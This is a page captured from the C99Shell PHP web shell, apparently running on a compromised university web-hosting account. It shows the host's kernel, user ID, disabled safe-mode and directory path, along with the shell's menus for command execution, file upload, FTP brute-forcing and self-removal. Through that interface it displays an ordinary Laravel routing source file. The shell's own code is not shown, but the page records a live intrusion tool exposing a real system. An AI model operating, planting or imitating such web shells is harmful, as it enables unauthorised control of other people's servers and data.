!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Routing/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RouteDependencyResolverTrait.php (3.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
ReflectionMethod;
use 
ReflectionParameter;
use 
Illuminate\Support\Arr;
use 
ReflectionFunctionAbstract;

trait 
RouteDependencyResolverTrait
{
    
/**
     * Call a class method with the resolved dependencies.
     *
     * @param  object  $instance
     * @param  string  $method
     * @return mixed
     */
    
protected function callWithDependencies($instance$method)
    {
        return 
call_user_func_array(
            [
$instance$method], $this->resolveClassMethodDependencies([], $instance$method)
        );
    }

    
/**
     * Resolve the object method's type-hinted dependencies.
     *
     * @param  array  $parameters
     * @param  object  $instance
     * @param  string  $method
     * @return array
     */
    
protected function resolveClassMethodDependencies(array $parameters$instance$method)
    {
        if (! 
method_exists($instance$method)) {
            return 
$parameters;
        }

        return 
$this->resolveMethodDependencies(
            
$parameters, new ReflectionMethod($instance$method)
        );
    }

    
/**
     * Resolve the given method's type-hinted dependencies.
     *
     * @param  array  $parameters
     * @param  \ReflectionFunctionAbstract  $reflector
     * @return array
     */
    
public function resolveMethodDependencies(array $parametersReflectionFunctionAbstract $reflector)
    {
        
$originalParameters $parameters;

        foreach (
$reflector->getParameters() as $key => $parameter) {
            
$instance $this->transformDependency(
                
$parameter$parameters$originalParameters
            
);

            if (! 
is_null($instance)) {
                
$this->spliceIntoParameters($parameters$key$instance);
            }
        }

        return 
$parameters;
    }

    
/**
     * Attempt to transform the given parameter into a class instance.
     *
     * @param  \ReflectionParameter  $parameter
     * @param  array  $parameters
     * @param  array  $originalParameters
     * @return mixed
     */
    
protected function transformDependency(ReflectionParameter $parameter$parameters$originalParameters)
    {
        
$class $parameter->getClass();

        
// If the parameter has a type-hinted class, we will check to see if it is already in
        // the list of parameters. If it is we will just skip it as it is probably a model
        // binding and we do not want to mess with those; otherwise, we resolve it here.
        
if ($class && ! $this->alreadyInParameters($class->name$parameters)) {
            return 
$this->container->make($class->name);
        }
    }

    
/**
     * Determine if an object of the given class is in a list of parameters.
     *
     * @param  string  $class
     * @param  array  $parameters
     * @return bool
     */
    
protected function alreadyInParameters($class, array $parameters)
    {
        return ! 
is_null(Arr::first($parameters, function ($key$value) use ($class) {
            return 
$value instanceof $class;
        }));
    }

    
/**
     * Splice the given value into the parameter list.
     *
     * @param  array  $parameters
     * @param  string  $key
     * @param  mixed  $instance
     * @return void
     */
    
protected function spliceIntoParameters(array &$parameters$key$instance)
    {
        
array_splice(
            
$parameters$key0, [$instance]
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0126 ]--